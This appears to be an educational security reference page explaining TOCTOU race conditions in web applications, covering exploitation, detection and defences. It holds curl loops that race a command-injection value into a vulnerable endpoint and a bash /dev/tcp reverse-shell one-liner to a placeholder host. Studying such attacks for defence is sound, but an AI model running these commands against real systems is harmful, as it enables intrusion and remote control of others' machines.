the_open_door
coffee
ESEN
← Back to index

Race Condition (TOCTOU)

ATT&CKT1190

A race condition appears when two operations on the same resource run without synchronisation and the result depends on which one wins the race. On the web, the most exploitable pattern is TOCTOU (time-of-check to time-of-use): there is a window between the moment the application uses a value and the moment it validates or deletes it. By firing requests in parallel, we can slip into that window and exploit the intermediate state before the check reverts it.

The classic case: the app writes user input to a file, executes or serves it, and only afterwards validates that it was alphanumeric (deleting the file if it was not). That inverted order leaves an instant in which an injected command has already run even though validation will reject it. Since the instant is brief and unpredictable, you force it by repeating the request thousands of times in parallel, betting that one lands inside the window:

# hammer the vulnerable action in a tight loop
while true; do curl -s "http://<ip>:5000/?action=validate&name=;id" >/dev/null; done
# in parallel, read the intermediate state before validation deletes it
while true; do curl -s "http://<ip>:5000/result"; done

A single request winning the race is enough for a bash -c "bash -i >& /dev/tcp/<lhost>/<lport> 0>&1" to run and open the reverse shell. The file-write variant is analogous: if two users download a temporary file with a shared name at once, one request can overwrite the other's content and leak someone else's data (reproducible by sending in parallel with Burp Repeater). Tools like Turbo Intruder's single-packet attack mode narrow the window even further by sending dozens of requests in the same instant.

Requirements. There must be a mutable shared resource (temporary file, balance, counter, one-time token) and a window between check and use with no lock or atomic transaction. The shorter the window, the more concurrency needed; with atomic operations or locking, the race disappears.

How to detect it. The log signature is a burst of near-simultaneous identical requests to the same endpoint from one IP, well above human pace, often with a spike of transient errors (files appearing and vanishing, failed validations). Per-resource concurrency metrics and rate alerts on sensitive endpoints (purchase, redeem, transfer) expose the pattern.

Defence. Make the critical section atomic: locks (mutex, SELECT ... FOR UPDATE), transactions with proper isolation, unique database constraints, and idempotency of sensitive operations (a one-time token genuinely consumed in the same transaction). Validate before using, never after, and do not operate on temporary files with a predictable shared name. When the race ends in command execution, the defence overlaps with that of command injection.